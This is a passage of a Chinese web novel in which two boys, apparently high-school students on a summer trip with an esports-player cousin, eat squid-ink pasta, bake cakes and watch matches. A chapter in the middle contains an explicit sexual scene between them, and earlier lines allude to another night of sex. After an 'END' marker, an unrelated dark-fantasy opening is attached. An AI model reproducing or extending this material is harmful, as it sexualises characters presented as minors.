训练中途请假来找人的韩城松了松紧绷的肩颈,他打了八个电话才被接通,差点去找负责人查监控搜寻人到底出没出酒店。本以为这个年纪的年轻人放假最多睡到下午两点,没想到韩季京两个现在才睡起来。 此刻韩城倚在电梯边, 打量完自家表弟这身装扮, 嘴角不自觉扬起老父亲般的欣慰笑容。 果然他们老韩家的崽就是好看,这小子套个麻袋都像是在走秀。不管是阳光街头帅哥还是可爱萌妹都相当精彩, 不过脖子上怎么戴了一个复古的小方巾。 服装搭配吗? 再看一眼那个穿着学院风蓝色马甲的邻家好学生,他脖子上怎么还有一个不符合穿搭的、不伦不类的卡通创可贴? 韩城表情渐渐严肃起来。 他不留痕迹地一边一个揽住两个人的肩膀将他们隔绝开来, 抢先一步呵呵笑道:“博物馆现在都要下班了,给哥说说,打算去哪吃饭啊?” 上一对只能无能狂怒,那是因为实力差距过大。笑话,现在他弟他还干涉不了了吗? 韩季京只在意自己的胃, “喔”地一声雀跃地问表哥:“哪家好吃一点诶?我想吃小蛋糕!之前看微博测评,有个博主说离这边几公里的哪一家具体不知道总之他们是专门做小狗图案的耶!” 韩城对甜食没什么兴趣,这点还真不了解,深思着摸摸下巴:“在其他店应该也有你想吃的小狗蛋糕…?” 韩季京纠正道:“但是只有那家店是黑白色的诶!” “表哥一会儿有什么安排,”喻修越嘴角扬起恰到好处的弧度,“我们请你吃饭?” 那个“我们”被喻修越咬得轻巧又自然,某大龄网瘾青年暗道好高超的说话方式,不留痕迹地又一次彰显了他们已经在一起的事实。 算了,韩城抬手用指节抵住眉心,表达出无奈的叹息:“你哥在打比赛啊小子,昨天请假才出去接的你们,今晚得泡在训练室。” 他掐住韩季京的后颈随手按了按,露出手腕上还未拆除的肌效贴:“等后天比完赛,带你们去基地转一圈?” 韩季京眼睛倏地亮了起来,像只发现罐头的小狗般重重点头:“要去要去——对了!我想要你们全队的签名照,还想要你们每个人单独的签名照!”他举例子,“比如什么训练花絮照啦、赛场抓拍照啦……” 举例完,他得意地咧开嘴,尖尖的小虎牙在唇间若隐若现。这样雨露均沾,韩城肯定看不出来——他其实只是想要帮好哥们秦皓璜要一个人的签名而已。 韩季京没怎么玩过《契约计划》,对于电竞赛事也不太关注。他的爱好就是滑板,然后打模拟沙盒类剧情开放游戏。隔行如隔山,虽然两个游戏同属于一个厂商,角色源于同一个系列的大背景,但MOBA游戏和沙盒游戏仍然是完全两个不沾边的类型。 “赛场抓拍?”韩城不客气地揉他的头发,“这玩意儿我自己都没有,签名的话我一会儿翻点照片,到时候你来队里一个一个要。” “那家蛋糕店在哪知道不?” 韩季京那一大堆介绍堆砌在一起却没有一点有用的信息,喻修越拿起手机,点进自己的账号收藏开始一个一个翻找店铺。 喉结滚动一瞬,上方覆盖的创可贴存在感有些过于强烈。这是出门前韩季京穿衣服时非要他贴上的,意思是他贴了所以他也要贴。 韩城见面的表情有点奇怪,难道是看出什么了? 喉结处有韩季京昨天故意啃出来的齿痕,不贴创可贴的话那露便露了,喻修越对这方面没有任何想法。家养比格京一向喜欢乱啃东西,小时候做梦还会当他是加餐的鸡腿,那会儿手腕处的牙印在很长一段时间里都旧上加新。 昨天闹完到凌晨三四点,失去所有力气的茶红色狗饼融化成一滩躺在被子里哼唧,说还是感觉自己有点热热的,丧失掉翻来覆去乱滚的勇气,连一甩一甩的尾巴都蔫巴巴地耷拉下来。 他的额头被汗水浸湿,喻修越掌心覆盖上去,察觉到温度有些不正常,一量体温才发现有点低烧。 韩季京呜咽着“难受”,困得雾蒙蒙的眼睛挣扎着睁大,眼尾洇开的红晕一直蔓延到睫毛根部,嗷呜嗷呜的闷哼也透着沙哑。 喻修越接了杯热水给他,五百毫升的水伴随药丸下肚,小狗仍然嘟囔着自己很渴,用茶红色的眼珠不满地盯着他看。 没人能拒绝小狗撒娇,喻修越再去接了一杯水,再重新返回床边,发现他已经歪在枕头上睡着了。退烧贴安安稳稳地覆盖住他的额头,黑色卷发凌乱地散在枕巾上,有几缕黏在退烧贴的边缘,随着轻浅的呼吸一起一伏。 乱糟糟的被单被他蹭开一角,喝了药,刚过37度的超低烧不算太严重,一般睡一觉起来就会好,而且这也可能是刚运动完太热产生的错觉。 ——当然,也不能排除是发晴期自带的高温体质。喻修越本身想着睡起来再看要不要去医院,没想到半夜还恹恹地蜷缩成一团的小狗饼今天睡醒便满血复活,他还没睁眼,对方就已经摇着尾巴精神抖擞地开始翻箱倒柜。 “其实我也不是很想吃蛋糕诶……”丝毫没有生病迹象的韩季京这样善解人意。 韩城见他们没出事就放心地回去训练了,喻修越还在翻他在自己账号上收藏的几百个店铺。这个账号他自己没有登录过,所以找起来有些麻烦,闻言“嗯?”了一声,却没停下继续翻找的动作。 韩季京说想要的,正常来讲不管怎么撒娇怎么打滚都要得到,如果突然不想要,那势必是找到了另一个更想要的。 果不其然,点子大王手臂一伸就和他勾肩搭背:“显眼包显眼包,我们去吃威尼斯墨鱼面吧!黑乎乎黏嗒嗒,一看就超级超级好吃耶!” “明天去博物馆,后天逛教堂,晚上看比赛要签名……”韩季京念叨了几句随时会变的计划,单方面决定好后,立刻欢快地去摇他的肩膀,“去不去嘛——去不去嘛——去嘛去嘛,显眼包你快点头哇!” 手机上显示出来墨鱼面的庐山真面,喻修越微不可察地蹙了下眉峰,随即又翘起嘴角,感觉此产品属于视线和肠胃的双重污染品。 他思考着,似笑非笑道:“确定吗?这可是很辣的,而且——吃完变成小黑狗怎么办?” “没关系的,”韩季京点点头,语气认真地回答,“专家说多喝牛奶就会白回来的……” 一句话说完,似乎又回忆起自己泌出来的奇妙液体,联想到之前故意给喻修越牛奶里加的料,韩季京眨眨眼睛,觉得体温在以一种奇怪的方式迅速升温。 是半夜发的烧卷土重来了吗?他不由得抬手摸了摸自己的额头,又突然倾身向前,将掌心贴在喻修越的前额,感受到两个人躯体的温度如出一辙。 是温热的,在流淌的,韩季京维持着这个姿势呆了几秒,盯着喻修越的脸,不知道在脑海里想到什么,几分钟后突然恍然大悟。 他笑起来,尾音得意地上扬:“显眼包,怪不得你这么白诶!” 喻修越看着他仿佛理解了一切的傻狗模样,没忍住笑了下,慢条斯理地把手机放进兜里,再抓住他乱动的手腕。 “不要乱想。”他干脆地打断韩季京天马行空的脑补,比对完多个博主推荐的餐厅后点开地图,上方酒店的坐标闪烁着蓝光,周围环绕着密密麻麻的美食标记。 酒店地理位置优越,离商业街很近,最近的一家店就在旁边:“想吃的话,那我们走过去?” 喻修越收起手机,韩季京拽住他的袖口,眼睛亮晶晶地提议:“我们扫个共享单车吧!” 这里的自行车可以带人,质量很好,他昨天去小吃街的路上就发现了,而且酒店门口就有专门的停放区域。 更何况,韩季京很清楚喻修越喜欢骑自行车。就和他喜欢滑滑板一样,享受并且热爱。 喻修越嘴角勾起来,指尖刚要触到电梯的下行按钮,却发现旁边的电梯刚好停靠在他们这一层。 “叮” 清脆的机械提示声响起,与此同时,伴随着一道懒洋洋的询问声音,旁边的电梯有人走了出来。 第95章 喻修越本身以为韩季京已经够小学生了, 万万没想到,这世界上幼稚的人还大有人在。 身穿不同战队队服的两个男人从电梯里一前一后地走出来,韩季京点了下喻修越正要按的按钮, 拉着他一溜烟地蹿进没人的电梯。 喻修越还在看,走过去的那两个人有什么好看的?韩季京顺着他的视线望过去,捧着手机苦思冥想一番, 觉得他们有点眼熟,但单看背影的话不太认识。 穿橙色队服的男人在打电话,而他身前黑色队服的那位每迈两步就倒退一步, 侧身凑过去将对方的每句话都故意拖长音调重复一遍, 还配上一脸懒散的坏笑。 宽阔的走廊空间根本阻挡不住声音传播,二人的话语被听得一清二楚。 “…不太想吃饭。” “嗯~他说不太想吃饭。” “…嗯,不用等我。” “嗯, 没错没错,你们不用等他。” 橙色队服抿起唇,抬头瞪人:“不要学我说话。” 黑色队服眨眨眼睛,指了指手机再作势拉上嘴巴, 表情无辜万分。 “你再这样…” “——我错了, ”黑色队服很自觉地抢先认错,倒退着走了几步, 一个转身将人搂进怀里,下巴亲昵地搁在对方肩上, “甜心,你都跟着我走到厨房了,该不会是想要老公喂你?……” 电梯门缓缓闭合,韩季京万分努力地想了想,还是没能从小狗可怜的大脑里翻出他们是谁。 越是思考越想不出来, 他皱起鼻头,几秒后眼睛一亮,小声“诶!”了一声,想起来韩城的战队队服就是橙色的。 “显眼包显眼包,哥他才去训练诶,怎么他队友就回来了?” 韩季京把自己挂到喻修越身上,思考:“难不成顶尖的电竞战队都是接替式休息,一个人休息完了另一个人才能休息这样……?” 比格京一思考就引人发笑,喻修越正低头查看酒店的3D平面图,黑色队服嘴里的厨房……他调出楼层详情,找到公共小厨房的位置,在出电梯后连续左转的第三个拐角处。 “这样的话,他们训练时间会很麻烦吧。”喻修越随口回答。 三指拉大,点击屏幕,画面立刻切换到厨房内部全景,旁边备注了一段冗长的文字。具体介绍说厨房配备嵌入式烤箱、进口打蛋器、全套铜制烘焙模具,并且二十四小时供应黄油与巧克力等,提供清洁服务。 文本框下方有个预约使用的蓝色按钮,喻修越点进去,发现今天下午的使用权限已经被人预订。 喻修越用手指敲了敲手机壳:“明天给你做小蛋糕?” “好啊好啊!”韩季京也注意到了他手机上显示的画面。 “吧唧”一口亲到他脸上,爱吃蛋糕的点心大王想一出是一出的单方面愉快决定了:“想吃草莓小蛋糕,我们吃完墨鱼面去骑自行车买草莓吧!” 墨鱼面的黑,是一种五彩斑斓的黑。 坐在餐厅里,喻修越静静注视着在暖光下泛着诡异釉光的条形怪东西——那黑色仿佛来自深海最幽暗的沟壑,流转着难以名状的暗芒,仿佛上世纪毒杀他人的明器。 再看到韩季京跃跃欲试的兴奋模样,手掌已经迫不及待地握住了叉子。喻修越保持着颇为微妙的神情,面不改色地合上菜单,给自己点了一碗奶油通心粉。 “你看耶,”吃到一半,韩季京对着可以当镜子用的碗具摇头晃脑地照了照,突然朝喻修越探去身子,像只炫耀战利品的小兽般吐出舌尖,“我舌头是不是黑色的诶!” 他的鼻尖还沾着一点黑色的酱汁,喻修越抽出两张纸巾,浸了点柠檬水才勉强擦干净。 幻视小狗脏兮兮的、刚从泥潭鬼混回来,他捏住韩季京的下巴,观察了一番才回答:“嗯…变成小黑狗了。” 染到衣服上的很难擦干净,喻修越把湿纸巾扔到垃圾筐里,抬眼见韩季京还在大快朵颐,整张嘴都吃得乌漆墨黑,完全是一只在偷吃墨水的小狗。 他忽然勾起嘴角。 “要是舌头颜色永远变不回来怎么办?” 韩季京动作一顿,叉子上的墨鱼面悬在半空:“我抿一抿…就能下去吧?” 他歪着头,用舌尖舔了舔嘴唇,结果只在唇周又蹭开一片黑。再吸溜进一根面条,观察起对面的喻修越仿佛看热闹一样撑着脸的自若神态,韩季京眼珠滴溜溜一转,茶红的瞳仁闪过狡黠的光,举起挂了条墨鱼面的刀叉,猛地站起来就要去偷袭。 ……没亲到。 喻修越早有预料般后仰,修长的手指抵住他的额头。 “好坏。”喻修越说,低头看了看自己蓝色衬衫上被甩到的显眼墨痕。 韩季京咕噜噜喝一大口气泡饮料,含糊不清地抗议:“窝亿点也补坏。” 喻修越脸色平静,神色自若地抬眸问:“洗不干净的话怎么办?” 一般这时候,普通情侣之间就要接一句什么“那把我赔给你”之类的话了,韩季京深刻地思考了零点几秒,用叉子卷起最后一条墨鱼面。 “不会洗不掉吧,洗衣机那么厉害!” 比格大王歪了歪头,对人类的智慧结晶充满信心。 “再不济,不是还有漂白剂?” 事实证明,漂白剂的确是一个完美的发明。 脸上的痕迹容易被擦掉,衣服上的污渍可以经由洗衣机洗掉,但舌头上残留的墨色一时间很难消掉。 韩季京对着房间里的穿衣镜龇了龇牙,吐出舌头,原本粉嫩的肌理此刻仍然泛着淡淡的青灰,只隐隐露出原本的殷红。 “怎么牙膏也刷不掉……” 他含混不清地嘟囔着,刚刷完牙才没多久又开始吃东西。反正饿了就吃、困了就睡、渴了就喝水,几颗洗干净的草莓被他塞进嘴里,鼓起的腮帮子随着咀嚼一动一动。 喻修越正靠在床头打格斗游戏,屏幕里的人物在灵活的指尖下使出华丽的连招,闻言头也不抬,轻快地评价道:“也许吃了墨鱼就会被它寄生?” “嗯……” 韩季京一个翻身再一个翻身:“那我会不会变成游戏里的那种乌贼大王诶,获得S级隐匿技能,还能喷射墨汁烟雾弹!勇者来讨伐,我直接一个大招过去!嘎嘎乱杀!” “墨汁会从哪里喷射呢…牙齿?就像毒蛇那种毒液之类的,还会具有腐蚀性……” 韩季京张开嘴,对着镜子观察完自己尖尖的犬齿,一时间有些脑袋空空。 他下意识摸了摸自己的肚子,思绪天马行空地不知道飘到哪里,几分钟后,略有些不安地问:“那我明天会流墨鱼汁吗?” 喻修越回答:“也许会啊,毕竟你今天光盘……” “那怎么办也?!” 韩季京立刻有些慌张地转过身看他,抬起膝盖跪在床上,神经质地戳一下自己柔软的腹部,又撩起衣服,如临大敌地捏了捏份量不轻的胸脯,仿佛在检查体内是否藏着什么可疑的墨囊。 手上的草莓蒂被他攥着揉得稀烂,鲜红的汁水顺着腕骨滴落在皮肤上,他随手抹了抹,衬得痕迹未消的胸口更为糜烂。 自己挤压无果,韩季京突然扑到喻修越身上,整个人结结实实地盖住对方膝盖上的平板,声音闷在衣料里:“……显眼包。” “你帮我吸出来,让我看一下好不好?” 他甩了甩冒出来的大耳朵,忐忑地纠结道:“如果真的是墨汁的话,从这里出来,那该怎么办呀。” 喻修越的良心微妙地痛了一下,感觉骗缺心眼的中二少年有点太不道德。 名叫韩季京的小狗脑子里到底在想些什么,喻修越想要论证墨鱼汁只能出现在墨鱼身上,却看到对方叼住衣服下摆后湿漉漉望向自己的眼神。 他改了口:“…那明天吃点草莓奶油中和一下?” 奶油是白色的。或者是黄色的?韩季京有些不太记得,他想起之前刷到过一个视频,一杯被墨水染黑的水,只要持续注入清水,最后就会重新归于清澈。 “那就是说,”他猛地坐直身子,嘴里的衣料自然垂落,尾巴在床单上扫出肉眼无法捕捉的残影,“如果我喝足够多的牛奶,是不是也能把墨鱼汁稀释掉?!” “用白色覆盖黑色……” 韩季京觉得自己已经搞懂了一切,认真地说,“显眼包,放心吧,你每天都在帮我,我不会让你喝墨鱼汁的!” “……” 这道离谱的假想抛物线猛地砸进脑海,喻修越神色古怪地重新捞起自己的平板,几秒后,他不由得笑了一下。 喻修越点点平板,伸出手说:“你到底在想些什么啊。” 他用指尖勾住衣服下摆,言简意赅地再次开口:“叼着。” 韩季京不解地哼唧一声,眨眨眼,却还是乖乖用齿尖咬住自己的衣料,露出大片色泽健康、覆着一层薄肌的肌肤。 面前的人表情平淡,手上的力道却恰到好处,有技巧地拿捏住他胸膛处最敏感的地方。 明明没有用多大力,韩季京却浑身都开始发颤,一瞬间有些咬不住齿间的布料,感受到脖颈处冰凉的饰品贴在自己发烫的肌肤之上。 修长的手指仍在不紧不慢地动作,衣料倏然滑落时,被堵在喉咙里闷哼的呜咽也没忍住从唇齿流淌而出,那声音被他猛地睁大眼睛咽下去,最终化作一声急促的喘息。 “不会有墨鱼汁的……” 喻修越瞥了眼平板上被自己通关的boss,随手将游戏界面关闭。 屏幕暗下去的瞬间,一股奶白顺着紧绷的腹肌线条蜿蜒而下,在床单上洇开一片深色的痕迹。 喻修越收回手,又将那只手平摊着张开,慢条斯理地抽了张纸巾,接上刚刚的话道:“因为奶油是白色的。” 第96章 韩季京脑袋空空。 韩季京晕头转向。 韩季京怅然若失。 韩季京吧唧了下嘴巴。 一口咬到空气, 牙齿磕碰的清脆声音让他惊醒,他迷迷糊糊地从被窝里钻出来,睡眼惺忪地揉了揉眼睛。 太阳光透过大敞的纱帘, 将室内镀上一层柔和的淡金色,韩季京眯起眼睛望了一圈,看到喻修越正坐在阳台的摇摇椅上, 拿着一张卷子在速算。 要想玩得爽,需要先把后顾之忧解决。 韩季京咕噜噜着把自己埋进蓬松的枕头里,闭上眼睛, 眼眶还残留着昨夜和喻修越一起写题的酸痛。 暑假作业已经被糊弄得差不多, 题目简单到没有多动一点脑子,但如果没有对方监督,可能这个假期过完了他才只写到封面的名字。 被强行填满的作业本此刻正歪歪斜斜堆在书桌上, 旁边还放着这几周去旅游景点买的昂贵伴手礼,造型奇特古怪,完全没有性价比,不用猜就是用来骗小孩钱的, 但丝毫不懂市场内情的小狗看一眼就很喜欢。 他惬意地甩甩尾巴, 半眯着眼睛思考:英语已经糊弄完了、数学大题不写过程只写最终数字、化学方程式基本都是照抄、而物理闭着眼也能算出来、语文…… 和平时考试写作文一样,韩季京糊弄习题册也采用没有根据的造词法, 将两个毫无关系的字词拼接在一起,语句华而不实, 一眼看过去却高级得不得了,显得特别有文化的样子,结尾再强行升华,这套下来考试最低也能得48分。 就像英语老师布置的每周日记,新城市的天气多变, 是晴天也不耽误人家下一秒突然下雨,他个狗认为用Interesting或者是Irritable形容完全没有任何问题——后者是他最近在论坛发表意见时很喜欢用的词,喻修越却说标准表达不可以形容天气。 反正收上去老师又不会看。 韩季京在床上翻了个身,整个人趴着歪过脑袋,胸膛蹭了蹭床单,伸手在枕头底下摸索,触碰到冰凉的手机壳,把手机掏出来划开屏幕。 一页红色的未读消息充斥在眼前,韩季京挑着几个想回复的回复了,再惯例在小群里安慰一番快要死掉的秦皓璜。 〖群聊:学校你能不能去41(4)〗 宇宙无敌暴王龙战士:【我再也*脏话*不想上学了】 宇宙无敌暴王龙战士:【我当初干什么要准备强基啊,干脆直接走竞赛算了,现在还要老老实实去学校再参加高考】 宇宙无敌暴王龙战士:【那样的话,我现在就能去看比赛了(猛男落泪.jpg)】 小心地滑:【没逝的始皇秦,你再撑几天,开学就能见到想要的签名照了!】 宇宙无敌暴王龙战士:【我怕自己等待未半而中道崩殂(天使光环.jpg)】 宇宙无敌暴王龙战士:【今天的比赛还跟补课时间重了,我甚至连直播都赶不上!】 我有一双透视镜:【口是心非的高中生哟,再怎么在这里说不要不要~,最后还不是乖乖主动投入补课的怀抱~~】 宇宙无敌暴王龙战士:【……】 〖宇宙无敌暴王龙战士修改群名为:邱扬北你能不能去41〗 韩季京用手指摩挲了下手机壳背面,因为怕被自己弄丢,他把签名照都塞到这里面了。 那天溜去后台要签名,韩城随手递给他一沓拍立得,韩季京低头翻了翻,十张里有八张都是队里那个上单的特写。 看着外表跟冰块一样,在镜头前连笑都不笑一下,但既然给了那就代表都能签吧……?韩季京这样想着,眨巴了下眼睛,便一股脑将手上的拍立得都递给目标人物了。 递过去后那人明显怔愣了一下,抬眼看了看眼睛里闪星星的韩季京,又扫了眼那叠自己的照片,沉默着从队服口袋摸出一支中性笔。 他手上的肌效贴才拆到一半,黑色胶布在指关节处缠出凌厉的爪型,边缘微微翘起,露出底下泛红的皮肤。 韩季京说着“好酷耶”就想凑上去伸手摸一摸,被站在他旁边的喻修越一把揽住。后者捏住小狗命运般的后颈皮,礼貌一笑道:“不好意思,签两张就可以,麻烦您了。” 最终到手的签名照变成了三张——就在对方签名时,战队休息室的门突然被推开。黑色队服的男人闲庭信步,目光扫视一圈,直径走过来,自然地握住面前人拿笔的手,龙飞凤舞地在那三个字的后面添上自己张扬的名字。 签完还不满足,他又从随身口袋里拿出一张双人合照,保持着从背后环抱的姿势,就这样带着对方的手腕移动,利落地在照片的最上方签下两个名字,连同之前的拍立得一起塞到韩季京的手里。 怪不得。 韩季京特意查了要签名的注意事项,网上说近两年没有一个人拿到过这两位任意一方的单人签名,很多无助的单推都被现实逼迫成为了cp粉。 秦皓璜应该会喜欢吧,韩季京拍拍手机壳想,毕竟他两个人都提到过。 活跃的班群仍然还是那几个人在聊,班长在没有老师的群里说她之前打的舌钉发了炎,韩季京看着那句话,下意识吐了吐自己的舌头:他之前也动过打舌钉的念头,看起来简直太酷了,但喻修越说,万一变成小狗的时候舌钉还在,那样的话是不是有点奇怪…… 韩季京舔了舔犬牙,妈妈也说穿孔对身体不好,那还是不打好了。 手指熟练地复制网页,粘贴浏览器后点进论坛,全英文的界面首页仍然是熟悉的飘红一片。 到现在为止,赛事已经进入到紧张激烈的白热化阶段。 关于选手、战队、配队、局内装备,论坛的讨论度居高不下。那个总是嚷嚷着“哥带你们去吃好吃的”的家伙,最近白天也忙得看不到一点踪影。 不过有韩城上场的比赛两个人都会去看。比赛地点随着赛事阶段更换,他们也跟着战队一起换了个城市旅游:白天照旧漫无目的地闲逛,四处都溜达一圈,晚上再去场馆感受令人热血沸腾的电子竞技。 “睡醒了?” 余光里喻修越已经将卷子折叠起来,韩季京不安分地在床上扭来扭去,向右翘一下屁股,向左再蹭一下,尾巴一甩一甩地拉长尾音:“还没有诶——” 喻修越慢悠悠地站起身,合上笔盖,故作遗憾地摊开手说:“那看来,草莓蛋糕我只能一个人享用了。” 韩季京立刻像触电一样弹了起来,圆溜溜的茶色眼睛看向对方。 “显眼包,我醒来了!”他一个助跑从床上跳到喻修越身边,像只护食的小狗般紧紧拽住对方袖口,“蛋糕在哪里,我现在一点都不困了耶!” 喻修越被他拽得晃了晃,忍不住勾起嘴角:“正要去取……” “那我去拿!” 酒店都有可以用的公共厨房,喻修越每天都会在小厨房照着网上的教程烤好吃的纸杯蛋糕,韩季京抓起一旁皱巴巴的短裤就往腿上套,哼起不成调的歌往门口冲。 喻修越把用两根手指捏着他的领子,和拎小狗没有两样地把人拽了回来:“换件衣服。” 换什么? 韩季京低了低头,很正常的穿搭啊,黑色短袖和灰色短裤,他肩宽体阔的完美身材很轻松就撑起来了,除了布料过了一夜而皱巴巴的外没有任何……哦,黑色的短袖上怎么有奇怪的深白色痕迹。 他捏住衣服下摆,用指节随便蹭了蹭那个位置,痕迹已经完全干透了,只要不凑近仔细端详,从远处看根本看不出任何异样。 喻修越已经在衣柜里开始翻找起来,韩季京站在原地,解脱黑色短袖的束缚,乖乖伸出手,像只等待主人给自己穿衣服的大型犬,任由喻修越将衣服从他头顶套下。 在视线被布料遮蔽的瞬间,他感觉到喻修越的手指不经意擦过他的腰侧,又很快收回去整理衣摆。 最近韩季京的作息时间明显出现了异常,一向不怎么睡懒觉的他起床时间都变成了下午两点左右。 蛋糕拿回来后,他盘腿坐在凌乱的被窝里,皱着眉头认真思考了三秒钟,自我感觉良好地觉得这并不是自己的问题,索性将此抛之脑后。 一旁的喻修越刚写完题又开始打游戏,他登的是韩季京的号,游戏更新后的繁杂剧情某只比格京实在是懒得过,平板一推就把任务交给了学霸。此刻举着叉子凑到好学生的背后,把下巴搁在他肩上,整个人像没骨头似的压上去。动作间,叉子上沾着草莓的面包胚掉到对方洁白的衣领上。 喻修越喜欢穿白衬衫,韩季京一直不能理解为什么。白色特别容易被弄脏,还不好洗,他有时候把手搭到对方肩上都会留下爪印,虽然他穿起来的确看着很好看…… “又掉衣服上了?” 喻修越垂眸扫了眼衣领上晕开的草莓渍,伸手扣住韩季京的手腕。后者不知道在发什么呆,听到这句话后,伸出舌头就想要把那小块面包卷进嘴里。 喻修越一把捂住他的嘴,掌心触到温软的舌尖:“脏。” 韩季京舔了舔他的手心,眨着眼睛看他,喻修越把游戏平板搁到一旁的床头柜,起身时顺手脱下被弄脏的白衬衫,随手将它搭在椅背上,往卫生间走去:“晚上还去看比赛吗?” 韩季京的视线像被磁铁吸住,从衬衫移动到对方线条分明的腹肌上,无意识地用牙齿磨了磨叉子尖,半晌,抿住叉子回答:“去啊,去啊!…都说好了!” 他这才回过神来,站起来想把叉子放回去。没想到洗完手走过来的喻修越单手一撑沙发背,翻过来截住他的动作,顺手接过叉子,转身慢悠悠插进蛋糕胚里。 好学生又换了件蓝白相间的衬衫,袖口卷到手肘处,弯起眼睛说:“那可以换衣服了,不然你化妆时间不够。” “我化妆很快的!” 韩季京下意识反驳了一声,想到前几天差点没赶上的电影,瘪嘴接过喻修越扔来的衣服。 浅蓝色的假领短袖和百褶裙,裙褶还保持着刚被熨烫后的锋利线条。他套上后对着穿衣镜比划了一番,突然想起什么似的,又埋头在包里翻找。 “哼哼——” 韩季京得意地晃了晃那副和喻修越同款的大黑框眼镜,镜腿折叠处还有着在书包最底层被压出的凹痕,他展开来架在鼻梁上,看着镜中的人扬起嘴角露出犬牙。 原本平平无奇的装扮,戴上眼镜后瞬间多了几分软萌的书卷气。制服假领的深蓝衬得锁骨若隐若现,韩季京像舔舐绒毛的小狗,从上到下认真整理了一遍着装,故意学着喻修越平时推眼镜的动作,食指轻轻一顶镜框,再潇洒地单手插兜。 他转了个圈,回头期待地问:“我像不像那些文科班的好学生诶!” 喻修越窝在阳台的摇椅里晃晃悠悠地看手机,闻言掀起眼皮,慢悠悠反问:“你要听真话吗?” “当然是真话啊!”韩季京自信满满,“就算说真话,我也是最好看的那个!” “……真的假的诶,”喻修越支起下巴,“最好看的人会把裙子穿反吗?” “?” 韩季京愣了一下,歪着脑袋露出困惑的表情。他下意识伸手往后摸,果然摸到了本应该藏在里面的标签。 “哇塞。” 他侧身又转身,反手又背后,以一种高难度的扭曲姿势抓住指甲盖大小的白色标签,制服的裙摆在动作间翻飞,露出底下印着卡通小狗图案的安全裤。 一通操作后,他认真地再整理了一遍衣服,后退半步,满意地对着镜子点点头:“这下完美了!” “我要化妆了!”他张牙舞爪地宣布,“不要打扰我!” 两个小时后,茶红色的狗饼给卷毛的两侧夹上双马尾假发,再将口红盖轻轻扣上,懒洋洋地伸了个懒腰,目光不自觉地飘向一侧。 喻修越不知道什么时候已经站到身后,正在注视着镜子里的他。室内冷白的灯光下,那双茶红色的眼眸流转着蜜糖般的光泽,马尾的发尾随着回头的动作摇起俏皮的弧度,发丝间隐约闪过一道黑色的亮光。 韩季京侧了侧头,露出左耳上那枚黑色的小狗耳钉——喻修越耳朵上是白色的小狗,他凑过去,带着草莓有色唇膏的甜香,鼻尖几乎要碰上对方的镜片。 喻修越摸了摸他的耳垂,未问先答:“嗯,很好看。” “我当然知道啊——”说话时呼吸声很近,韩季京抬头就能亲到他嘴角,他故意停顿了一下,才结结实实又黏黏糊糊地给对方蹭了一嘴唇膏。 “走吧走吧!”韩季京拉住他的手,“我每天都是最好看的!” 比赛是晚上七点半开始,到中场休息的时候,天空就已经暗了下来。 从封闭的场馆内部看不到外面,密闭的场馆内依旧沸腾着欢呼声,韩季京低头给韩城一张一张传他拍的应援照片,上方的天气预报突然弹出提醒,说一小时后有百分之四十五的降雨可能。 这条弹窗被他随手划过,韩季京想,这个城市的天气不就是会没有预告的直接下雨。 直到终场的bgm伴随着粉丝的应援一起响起,手机里韩城发来让他们先走的消息,跟了一个原地升天的emoji,说是战队要先复盘。 喻修越拉着他跟随人流往外走,场馆外夜色已经像泼翻的墨水般晕染开来,厚重的云层压得很低,低到仿佛触手可及,附近的人纷纷注意到天气变化,窃窃私语地说该怎么办才好。 “看样子要下大雨了。”场馆内坐在韩季京旁边的女生眉头微蹙,回头问他们,“我没带伞,你们呢?” 韩季京摇摇头,棉花糖般的卷发跟着晃动:“我也没带。” 他抱着喻修越的手臂,去看他身后背着的双肩包。这个看似普通的黑色双肩包,在他心里如同哆啦A梦的口袋,他需要什么总是出现什么。 他戳了戳喻修越的后腰:“显眼包,你带了吗?” “肯定没有啊。”喻修越摊开双手,他向来不喜欢雨天。他掌心向上接了几滴从屋檐坠落的雨珠,又很快地甩了甩手。 场馆广播还在循环提醒离场注意事项,人群如退潮般向外涌去。有个扎马尾的女生把挎包顶在头上,她的同伴正试图用节目单折成纸伞。更远处,三四个人挤在一把格子伞下,像群湿漉漉的雏鸟。 他看着韩季京被雨水映亮的侧脸,那些细小的水珠在他的眼睛里凝结成星:“要等吗?” 雨水的气味混合着若有若无的草莓钻入鼻腔,在空气中弥漫开来,韩季京想了想:“要不要直接跑?” 雨水噼里啪啦地砸在场馆外的水泥地上,溅起细碎的水花,回答他的却是被骤然抓紧的手腕。 喻修越蓦然回首,浸染着雨雾的睫毛下,墨蓝色的眸瞳映影出对方湿漉漉的眼睛。 目光相接的刹那,默契的笑意同时浮现在嘴角。两个人相视一笑,一脚踩入雨幕之中:“跑!” END 第97章 蒙灰的薄雾在夜色中缓缓流淌, 像滴落的墨汁浸染了整个天际。 远处几盏昏黄的路灯在雾气中晕开模糊的光晕,仿佛随时会被这浓稠的暗色吞噬。 树叶交错间泄出斑驳的月光,在地面投下鬼魅般的剪影。偶尔有乌鸦掠过, 翅膀划破寂静时带起肃杀的风声,转瞬又消逝在无边的黑暗里。 暮色中,腰侧别刀的女人从远处踉跄着走来, 在潮湿的柏油路上留下暗红色的鞋印。 直到肩膀不堪重负地撞上被绿色血液腐蚀的砖墙,她才粗暴地抹掉嘴角的血迹,取出怀中那张泛着冷光的银色卡片。 卡片贴近墙面的下一秒, 整面砖墙像被石子击中的水面般泛起涟漪, 一扇外表普普通通的门自虚空中凭空出现,门板上跳动着泛起幽光的紫色文字。 ——『别担心,我们很专业。』 女人的神色微不可探地扭曲了下, 她缓缓直起身体,深吸了一口气,推开面前静静等待着的门扉。 “吱呀呀”的声响后,是一间普通无比的办公室。 四面墙壁洁白, 墙上还挂着刻了“心理咨询室”的亚克力标牌, 她简单扫过室内陈设,一眼注意到那个坐在办公桌旁品茶的中年男人。 见到有人登门拜访, 男人跷起二郎腿,亲切地问好:“真有缘分啊, 明日的第二小队队长…这么快就再次见面了。” 茶杯底部与托盘在桌面碰撞,他微笑起来:“让我猜猜,六阶‘灾厄’被解决了?” “……这是佣金。” 她卸下肩头的黑色背包,包裹因自由落体而砸落在地板上,里面的晶体发出清脆的碰撞声响。 腐臭难闻的气息自包裹内弥漫而出, 她站在原地,没有向前一步,语气低沉而沙哑:“但你派遣的人,也同样杀死了我所有队友。” “你的队友?”男人抬手,包裹的绳结崩断开来,一颗水滴模样的晶核直直飞到他的面前,表面还黏连着破碎的黑色皮肉组织。 “她们长眠在回城的路上。” “你杀的?” “你的人。” “怎么会,”男人猛然大笑起来,像是听到了天大的笑话,他擦了擦笑出的眼泪,“你既没有付额外的报酬,我手下的人怎会如此多此一举?” 